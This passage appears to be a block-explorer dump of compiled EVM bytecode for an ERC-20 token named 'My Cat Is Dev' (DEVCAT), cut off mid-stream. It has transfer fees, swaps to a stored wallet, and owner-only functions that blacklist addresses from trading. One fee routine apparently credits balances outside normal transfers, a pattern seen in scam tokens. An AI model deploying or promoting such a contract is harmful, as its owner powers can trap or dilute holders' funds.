ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055506118578260015f8673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054611f5f90919063ffffffff16565b60015f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040516118f59190612a26565b60405180910390a350611e46565b5f61190c610dcf565b73ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff161415801561197a575061194a610dcf565b73ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614155b15611bae5760045f8673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff16158015611a1d575060045f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff16155b611a25575f80fd5b611a3185858486611fbc565b90505f611a3d30610aed565b9050601460159054906101000a900460ff16158015611aa8575060145f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff16145b8015611ac05750601460169054906101000a900460ff165b8015611acf5750600d54600e54115b8015611b22575060035f8773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff16155b8015611b75575060035f8673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff16155b15611bac57601154811115611ba257611ba1611b9c85611b97846012546124d4565b6124d4565b6124ec565b5b611bab47611ead565b5b505b5f811115611ca6578060015f3073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054611bff919061346c565b60015f3073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055503073ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef83604051611c9d9190612a26565b60405180910390a35b8260015f8773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054611cef919061349f565b60015f8773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2081905550611d438184611f1690919063ffffffff16565b60015f8673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054611d8b919061346c565b60015f8673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055508373ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef611e2e8487611f1690919063ffffffff16565b604051611e3b9190612a26565b60405180910390a350505b505050565b5f838311158290611e92576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611e8991906128e8565b60405180910390fd5b505f8385611ea0919061349f565b9050809150509392505050565b600660019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc8290811502906040515f60405180830381858888f19350505050158015611f12573d5f803e3d5ffd5b5050565b5f611f5783836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250611e4b565b905092915050565b5f808284611f6d919061346c565b905083811015611fb2576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611fa99061351c565b60405180910390fd5b8091505092915050565b5f80611ffa6064611fec600b54600e5411611fd957600754611fdd565b6009545b8661275790919063ffffffff16565b6127ce90919063ffffffff16565b9050836120c05761203360056120195f86611f5f90919063ffffffff16565b60056120259190612e81565b6127ce90919063ffffffff16565b60015f8615801561204357505f86115b61206f57600660019054906101000a900473ffffffffffffffffffffffffffffffffffffffff16612071565b885b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8282546120b8919061346c565b925050819055505b60065f9054906101000a900460ff16156122465760135f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff161415801561217e575060145f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff1614155b15612245574360055f3273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205410612202576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016121f9906135d0565b60405180910390fd5b4360055f3273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055505b5b60145f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168673ffffffffffffffffffffffffffffffffffffffff161480156122ef575060135f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff1614155b8015612342575060035f8673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff16155b156123fc57600f5483111561238c576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161238390613638565b60405180910390fd5b6010548361239987610aed565b6123a3919061346c565b11156123e4576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016123db906136a0565b60405180910390fd5b600e5f8154809291906123f6906136be565b91905055505b60145f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff1614801561248457503073ffffffffffffffffffffffffffffffffffffffff168673ffffffffffffffffffffffffffffffffffffffff1614155b156124c8576124c560646124b7600c54600e54116124a4576008546124a8565b600a545b8661275790919063ffffffff16565b6127ce90919063ffffffff16565b90505b80915050949350505050565b5f8183116124e257826124e4565b815b905092915050565b6001601460156101000a81548160ff0219169083151502179055505f600267ffffffffffffffff81111561252357612522612ac7565b5b6040519080825280602002602001820160405280156125515781602001602082028036833780820191505090505b50905030815f8151811061256857612567612f2a565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff168152505060135f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa15801561260c573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906126309190612f6b565b8160018151811061264457612643612f2a565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff16815250506126aa3060135f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1684611364565b60135f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663791ac947835f8430426040518663ffffffff1660e01b815260040161270c9594939291906137bc565b5f604051808303815f87803b158015612723575f80fd5b505af1158015612735573d5f803e3d5ffd5b50505050505f601460156101000a81548160ff02191690831515021790555050565b5f808303612767575f90506127c8565b5f82846127749190612e81565b90508284826127839190613841565b146127c3576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016127ba906138e1565b60405180910390fd5b809150505b92915050565b5f61280f83836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250612817565b905092915050565b5f808311829061285d576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161285491906128e8565b60405180910390fd5b505f838561286b9190613841565b9050809150509392505050565b5f81519050919050565b5f82825260208201905092915050565b8281835e5f83830152505050565b5f601f19601f8301169050919050565b5f6128ba82612878565b6128c48185612882565b93506128d4818560208601612892565b6128dd816128a0565b840191505092915050565b5f6020820190508181035f83015261290081846128b0565b905092915050565b5f604051905090565b5f80fd5b5f80fd5b5f73ffffffffffffffffffffffffffffffffffffffff82169050919050565b5f61294282612919565b9050919050565b61295281612938565b811461295c575f80fd5b50565b5f8135905061296d81612949565b92915050565b5f819050919050565b61298581612973565b811461298f575f80fd5b50565b5f813590506129a08161297c565b92915050565b5f80604083850312156129bc576129bb612911565b5b5f6129c98582860161295f565b92505060206129da85828601612992565b9150509250929050565b5f8115159050919050565b6129f8816129e4565b82525050565b5f602082019050612a115f8301846129ef565b92915050565b612a2081612973565b82525050565b5f602082019050612a395f830184612a17565b92915050565b5f805f60608486031215612a5657612a55612911565b5b5f612a638682870161295f565b9350506020612a748682870161295f565b9250506040612a8586828701612992565b9150509250925092565b5f60ff82169050919050565b612aa481612a8f565b82525050565b5f602082019050612abd5f830184612a9b565b92915050565b5f80fd5b7f4e487b71000000000000000000000000000000000000000000000000000000005f52604160045260245ffd5b612afd826128a0565b810181811067ffffffffffffffff82111715612b1c57612b1b612ac7565b5b80604052505050565b5f612b2e612908565b9050612b3a8282612af4565b919050565b5f67ffffffffffffffff821115612b5957612b58612ac7565b5b602082029050602081019050919050565b5f80fd5b5f612b80612b7b84612b3f565b612b25565b90508083825260208201905060208402830185811115612ba357612ba2612b6a565b5b835b81811015612bcc5780612bb8888261295f565b845260208401935050602081019050612ba5565b5050509392505050565b5f82601f830112612bea57612be9612ac3565b5b8135612bfa848260208601612b6e565b91505092915050565b5f60208284031215612c1857612c17612911565b5b5f82013567ffffffffffffffff811115612c3557612c34612915565b5b612c4184828501612bd6565b91505092915050565b5f60208284031215612c5f57612c5e612911565b5b5f612c6c8482850161295f565b91505092915050565b612c7e81612938565b82525050565b5f602082019050612c975f830184612c75565b92915050565b5f8060408385031215612cb357612cb2612911565b5b5f612cc08582860161295f565b9250506020612cd18582860161295f565b9150509250929050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52601160045260245ffd5b5f8160011c9050919050565b5f808291508390505b6001851115612d5d57808604811115612d3957612d38612cdb565b5b6001851615612d485780820291505b8081029050612d5685612d08565b9450612d1d565b94509492505050565b5f82612d755760019050612e30565b81612d82575f9050612e30565b8160018114612d985760028114612da257612dd1565b6001915050612e30565b60ff841115612db457612db3612cdb565b5b8360020a915084821115612dcb57612dca612cdb565b5b50612e30565b5060208310610133831016604e8410600b8410161715612e065782820a905083811115612e0157612e00612cdb565b5b612e30565b612e138484846001612d14565b92509050818404811115612e2a57612e29612cdb565b5b81810290505b9392505050565b5f612e4182612973565b9150612e4c83612a8f565b9250612e797fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8484612d66565b905092915050565b5f612e8b82612973565b9150612e9683612973565b9250828202612ea481612973565b91508282048414831517612ebb57612eba612cdb565b5b5092915050565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e65725f82015250565b5f612ef6602083612882565b9150612f0182612ec2565b602082019050919050565b5f6020820190508181035f830152612f2381612eea565b9050919050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52603260045260245ffd5b5f81519050612f6581612949565b92915050565b5f60208284031215612f8057612f7f612911565b5b5f612f8d84828501612f57565b91505092915050565b5f604082019050612fa95f830185612c75565b612fb66020830184612c75565b9392505050565b7f74726164696e6720697320616c7265616479206f70656e0000000000000000005f82015250565b5f612ff1601783612882565b9150612ffc82612fbd565b602082019050919050565b5f6020820190508181035f83015261301e81612fe5565b9050919050565b5f819050919050565b5f819050919050565b5f61305161304c61304784613025565b61302e565b612973565b9050919050565b61306181613037565b82525050565b5f60c08201905061307a5f830189612c75565b6130876020830188612a17565b6130946040830187613058565b6130a16060830186613058565b6130ae6080830185612c75565b6130bb60a0830184612a17565b979650505050505050565b5f815190506130d48161297c565b92915050565b5f805f606084860312156130f1576130f0612911565b5b5f6130fe868287016130c6565b935050602061310f868287016130c6565b9250506040613120868287016130c6565b9150509250925092565b5f60408201905061313d5f830185612c75565b61314a6020830184612a17565b9392505050565b61315a816129e4565b8114613164575f80fd5b50565b5f8151905061317581613151565b92915050565b5f602082840312156131905761318f612911565b5b5f61319d84828501613167565b91505092915050565b7f45524332303a20617070726f76652066726f6d20746865207a65726f206164645f8201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b5f613200602483612882565b915061320b826131a6565b604082019050919050565b5f6020820190508181035f83015261322d816131f4565b9050919050565b7f45524332303a20617070726f766520746f20746865207a65726f2061646472655f8201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b5f61328e602283612882565b915061329982613234565b604082019050919050565b5f6020820190508181035f8301526132bb81613282565b9050919050565b7f45524332303a207472616e736665722066726f6d20746865207a65726f2061645f8201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b5f61331c602583612882565b9150613327826132c2565b604082019050919050565b5f6020820190508181035f83015261334981613310565b9050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f20616464725f8201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b5f6133aa602383612882565b91506133b582613350565b604082019050919050565b5f6020820190508181035f8301526133d78161339e565b9050919050565b7f5472616e7366657220616d6f756e74206d7573742062652067726561746572205f8201527f7468616e207a65726f0000000000000000000000000000000000000000000000602082015250565b5f613438602983612882565b9150613443826133de565b604082019050919050565b5f6020820190508181035f8301526134658161342c565b9050919050565b5f61347682612973565b915061348183612973565b925082820190508082111561349957613498612cdb565b5b92915050565b5f6134a982612973565b91506134b483612973565b92508282039050818111156134cc576134cb612cdb565b5b92915050565b7f536166654d6174683a206164646974696f6e206f766572666c6f7700000000005f82015250565b5f613506601b83612882565b9150613511826134d2565b602082019050919050565b5f6020820190508181035f830152613533816134fa565b9050919050565b7f5f7472616e736665723a3a205472616e736665722044656c617920656e61626c5f8201527f65642e20204f6e6c79206f6e652070757263686173652070657220626c6f636b60208201527f20616c6c6f7765642e0000000000000000000000000000000000000000000000604082015250565b5f6135ba604983612882565b91506135c58261353a565b606082019050919050565b5f6020820190508181035f8301526135e7816135ae565b9050919050565b7f4578636565647320746865205f6d61785478416d6f756e742e000000000000005f82015250565b5f613622601983612882565b915061362d826135ee565b602082019050919050565b5f6020820190508181035f83015261364f81613616565b9050919050565b7f4578636565647320746865206d617857616c6c657453697a652e0000000000005f82015250565b5f61368a601a83612882565b915061369582613656565b602082019050919050565b5f6020820190508181035f8301526136b78161367e565b9050919050565b5f6136c882612973565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff82036136fa576136f9612cdb565b5b600182019050919050565b5f81519050919050565b5f82825260208201905092915050565b5f819050602082019050919050565b61373781612938565b82525050565b5f613748838361372e565b60208301905092915050565b5f602082019050919050565b5f61376a82613705565b613774818561370f565b935061377f8361371f565b805f5b838110156137af578151613796888261373d565b97506137a183613754565b925050600181019050613782565b5085935050505092915050565b5f60a0820190506137cf5f830188612a17565b6137dc6020830187613058565b81810360408301526137ee8186613760565b90506137fd6060830185612c75565b61380a6080830184612a17565b9695505050505050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52601260045260245ffd5b5f61384b82612973565b915061385683612973565b92508261386657613865613814565b5b828204905092915050565b7f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f5f8201527f7700000000000000000000000000000000000000000000000000000000000000602082015250565b5f6138cb602183612882565b91506138d682613871565b604082019050919050565b5f6020820190508181035f8301526138f8816138bf565b905091905056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a264697066735822122089b1497948216e05fb5461ee75bd70b6ebb7f251e5b1a3310fa4bfdc455d819364736f6c63430008190033

Deployed Bytecode

0x608060405260043610610143575f3560e01c8063751039fc116100b5578063a9059cbb1161006e578063a9059cbb1461040e578063bf474bed1461044a578063c876d0b914610474578063d34628cc1461049e578063dd62ed3e146104c6578063fb201b1d146105025761014a565b8063751039fc1461033a5780637d1db4a5146103505780638da5cb5b1461037a5780638f9a55c0146103a457806395d89b41146103ce578063a1943fdf146103f85761014a565b8063313ce56711610107578063313ce5671461024457806331c2d8471461026e5780633bbac579146102965780635848b9d9146102d257806370a08231146102e8578063715018a6146103245761014a565b806306fdde031461014e578063095ea7b3146101785780630faee56f146101b457806318160ddd146101de57806323b872dd146102085761014a565b3661014a57005b5f80fd5b348015610159575f80fd5b50610162610518565b60405161016f91906128e8565b60405180910390f35b348015610183575f80fd5b5061019e600480360381019061019991906129a6565b610555565b6040516101ab91906129fe565b60405180910390f35b3480156101bf575f80fd5b506101c8610572565b6040516101d59190612a26565b60405180910390f35b3480156101e9575f80fd5b506101f2610578565b6040516101ff9190612a26565b60405180910390f35b348015610213575f80fd5b5061022e60048036038101906102299190612a3f565b61059b565b60405161023b91906129fe565b60405180910390f35b34801561024f575f80fd5b5061025861066f565b6040516102659190612aaa565b60405180910390f35b348015610279575f80fd5b50610294600480360381019061028f9190612c03565b610677565b005b3480156102a1575f80fd5b506102bc60048036038101906102b79190612c4a565b610795565b6040516102c991906129fe565b60405180910390f35b3480156102dd575f80fd5b506102e66107e7565b005b3480156102f3575f80fd5b5061030e60048036038101906103099190612c4a565b610aed565b60405161031b9190612a26565b60405180910390f35b34801561032f575f80fd5b50610338610b33565b005b348015610345575f80fd5b5061034e610c81565b005b34801561035b575f80fd5b50610364610dc9565b6040516103719190612a26565b60405180910390f35b348015610385575f80fd5b5061038e610dcf565b60405161039b9190612c84565b60405180910390f35b3480156103af575f80fd5b506103b8610df6565b6040516103c59190612a26565b60405180910390f35b3480156103d9575f80fd5b506103e2610dfc565b6040516103ef91906128e8565b60405180910390f35b348015610403575f80fd5b5061040c610e39565b005b348015610419575f80fd5b50610434600480360381019061042f91906129a6565b610ed8565b60405161044191906129fe565b60405180910390f35b348015610455575f80fd5b5061045e610ef5565b60405161046b9190612a26565b60405180910390f35b34801561047f575f80fd5b50610488610efb565b60405161049591906129fe565b60405180910390f35b3480156104a9575f80fd5b506104c460048036038101906104bf9190612c03565b610f0d565b005b3480156104d1575f80fd5b506104ec60048036038101906104e79190612c9d565b61102c565b6040516104f99190612a26565b60405180910390f35b34801561050d575f80fd5b506105166110ae565b005b60606040518060400160405280600d81526020017f4d79204361742049732044657600000000000000000000000000000000000000815250905090565b5f61056861056161135d565b8484611364565b6001905092915050565b60125481565b5f6009600a6105879190612e37565b633b9aca006105969190612e81565b905090565b5f6105a7848484611527565b610664846105b361135d565b61065f856040518060600160405280602881526020016139006028913960025f8b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f61061661135d565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054611e4b9092919063ffffffff16565b611364565b600190509392505050565b5f6009905090565b61067f61135d565b73ffffffffffffffffffffffffffffffffffffffff165f8054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161461070b576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161070290612f0c565b60405180910390fd5b5f5b8151811015610791575f60045f84848151811061072d5761072c612f2a565b5b602002602001015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f6101000a81548160ff021916908315150217905550808060010191505061070d565b5050565b5f60045f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff169050919050565b6107ef61135d565b73ffffffffffffffffffffffffffffffffffffffff165f8054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161461087b576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161087290612f0c565b60405180910390fd5b737a250d5630b4cf539739df2c5dacb4c659f2488d60135f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055506109173060135f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff166009600a6109039190612e37565b633b9aca006109129190612e81565b611364565b60135f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa158015610981573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906109a59190612f6b565b73ffffffffffffffffffffffffffffffffffffffff1663c9c653963060135f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015610a2b573d5f803e3d5ffd5b505050506040513d601f19601f82011682018060405250810190610a4f9190612f6b565b6040518363ffffffff1660e01b8152600401610a6c929190612f96565b6020604051808303815f875af1158015610a88573d5f803e3d5ffd5b505050506040513d601f19601f82011682018060405250810190610aac9190612f6b565b60145f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b5f60015f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20549050919050565b610b3b61135d565b73ffffffffffffffffffffffffffffffffffffffff165f8054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610bc7576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610bbe90612f0c565b60405180910390fd5b5f73ffffffffffffffffffffffffffffffffffffffff165f8054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a35f805f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b610c8961135d565b73ffffffffffffffffffffffffffffffffffffffff165f8054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610d15576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610d0c90612f0c565b60405180910390fd5b6009600a610d239190612e37565b633b9aca00610d329190612e81565b600f819055506009600a610d469190612e37565b633b9aca00610d559190612e81565b6010819055505f60065f6101000a81548160ff0219169083151502179055507f947f344d56e1e8c70dc492fb94c4ddddd490c016aab685f5e7e47b2e85cb44cf6009600a610da39190612e37565b633b9aca00610db29190612e81565b604051610dbf9190612a26565b60405180910390a1565b600f5481565b5f805f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b60105481565b60606040518060400160405280600681526020017f4445564341540000000000000000000000000000000000000000000000000000815250905090565b610e4161135d565b73ffffffffffffffffffffffffffffffffffffffff165f8054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610ecd576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610ec490612f0c565b60405180910390fd5b610ed647611ead565b565b5f610eeb610ee461135d565b8484611527565b6001905092915050565b60115481565b60065f9054906101000a900460ff1681565b610f1561135d565b73ffffffffffffffffffffffffffffffffffffffff165f8054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610fa1576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610f9890612f0c565b60405180910390fd5b5f5b815181101561102857600160045f848481518110610fc457610fc3612f2a565b5b602002602001015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f6101000a81548160ff0219169083151502179055508080600101915050610fa3565b5050565b5f60025f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054905092915050565b6110b661135d565b73ffffffffffffffffffffffffffffffffffffffff165f8054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611142576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161113990612f0c565b60405180910390fd5b60148054906101000a900460ff1615611190576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161118790613007565b60405180910390fd5b60135f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663f305d71947306111d830610aed565b5f806111e2610dcf565b426040518863ffffffff1660e01b815260040161120496959493929190613067565b60606040518083038185885af1158015611220573d5f803e3d5ffd5b50505050506040513d601f19601f8201168201806040525081019061124591906130da565b50505060145f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663095ea7b360135f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff167fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff6040518363ffffffff1660e01b81526004016112e592919061312a565b6020604051808303815f875af1158015611301573d5f803e3d5ffd5b505050506040513d601f19601f82011682018060405250810190611325919061317b565b506001601460166101000a81548160ff02191690831515021790555060016014806101000a81548160ff021916908315150217905550565b5f33905090565b5f73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16036113d2576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016113c990613216565b60405180910390fd5b5f73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1603611440576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611437906132a4565b60405180910390fd5b8060025f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b9258360405161151a9190612a26565b60405180910390a3505050565b5f73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1603611595576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161158c90613332565b60405180910390fd5b5f60145f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415806116405750600660019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614155b80611697575060145f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff16145b90505f73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1603611707576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016116fe906133c0565b60405180910390fd5b5f8211611749576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016117409061344e565b60405180910390fd5b601460169054906101000a900460ff1615806117715750601460159054906101000a900460ff165b15611903576117c68260015f8773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054611f1690919063ffffffff16565b60015f8673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055506118578260015f8673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054611f5f90919063ffffffff16565b60015f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040516118f59190612a26565b60405180910390a350611e46565b5f61190c610dcf565b73ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff161415801561197a575061194a610dcf565b73ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614155b15611bae5760045f8673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff16158015611a1d575060045f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff16155b611a25575f80fd5b611a3185858486611fbc565b90505f611a3d30610aed565b9050601460159054906101000a900460ff16158015611aa8575060145f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff16145b8015611ac05750601460169054906101000a900460ff165b8015611acf5750600d54600e54115b8015611b22575060035f8773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff16155b8015611b75575060035f8673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff16155b15611bac57601154811115611ba257611ba1611b9c85611b97846012546124d4565b6124d4565b6124ec565b5b611bab47611ead565b5b505b5f811115611ca6578060015f3073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054611bff919061346c565b60015f3073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055503073ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef83604051611c9d9190612a26565b60405180910390a35b8260015f8773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054611ce